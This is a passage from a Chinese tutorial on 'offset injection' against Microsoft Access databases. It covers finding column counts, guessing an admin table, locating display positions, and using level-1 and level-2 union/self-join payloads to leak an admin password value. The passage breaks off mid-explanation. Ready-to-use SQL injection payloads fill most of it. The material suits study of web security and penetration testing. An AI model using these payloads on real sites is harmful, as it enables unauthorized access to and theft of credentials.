access偏移注入原理 (2)

说明存在注入点,且为数字型注入

07_access偏移注入-注入点的判断

4.2 判断当前注入点对应表的字段数量

payload:

?id=1513 order by 22

页面返回正常,说明当前表(即product表)对应的字段数量为22

08_access偏移注入-判断当前注入点对应表的字段数量

4.3 猜解目标表的表名

payload:

?id=1513 and exists(select * from admin)

因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。此次页面返回正常,说明存在access数据库中存在admin表。

09_access偏移注入-猜解目标表的表名

4.4 确定显示位

payload:

?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

在页面的源码中,我们可以看到存在3,9,13,15 四个显示位

10_access偏移注入-确定显示位

4.5 确定目标表的字段数量

payload:

?id=1513 and exists(select * from admin order by 6)

页面返回正常,说明admin有6个字段

11_access偏移注入-确定目标表的字段数

4.6 开始进行偏移注入

偏移注入的基本公式

联合查询所要补充的字段数 = 当前表的字段数 - 目标表的字段数 x N(N=1,2...)

在此处即为:联合查询补充字段数 = product表的字段数 - admin表的字段数 x N

当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,...

1级偏移注入的payload

根据公式我们可以计算出:联合查询补充字段数 = 22-6x1 = 16

?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin

在这里我们解释一下,为什么1级偏移注入并没有爆出我们想要的字段值呢:

由前面的步骤我们已经得知,已经确定的显示位只有 3,9,13,15 四个,即只有处于第3,9,13,15这四个字段的数据才可以显示出来,

但是我们观察下标发现,在进行1级偏移注入时,admin表的数据实际上是排在了17号字段之后了,当然不会在页面中显示出来。

那么我们怎么样才可以将admin表的数据向前移动,以致可以使其处于第3,9,13,15号字段而显示出来呢?

答案是:我们可以进行2级(多级)偏移注入(即通过admin表的自连接使得sql语句中“ * ”所代表的的字段数增大,那么联合查询中用于充数字段就会减小,这样的话,admin表中的数据自然会向前移动了)

12_access偏移注入-1级偏移注入

2级偏移注入的payload

根据公式我们可以计算出:联合查询补充字段数 = 22-6x2 = 10

?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin a inner join admin b on a.id=b.id)

根据页面返回的数据,我们可以看到,在第13号显示位,我们成功的爆出了密码值:a48e190faf

但这是为什么呢?

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwxdgf.html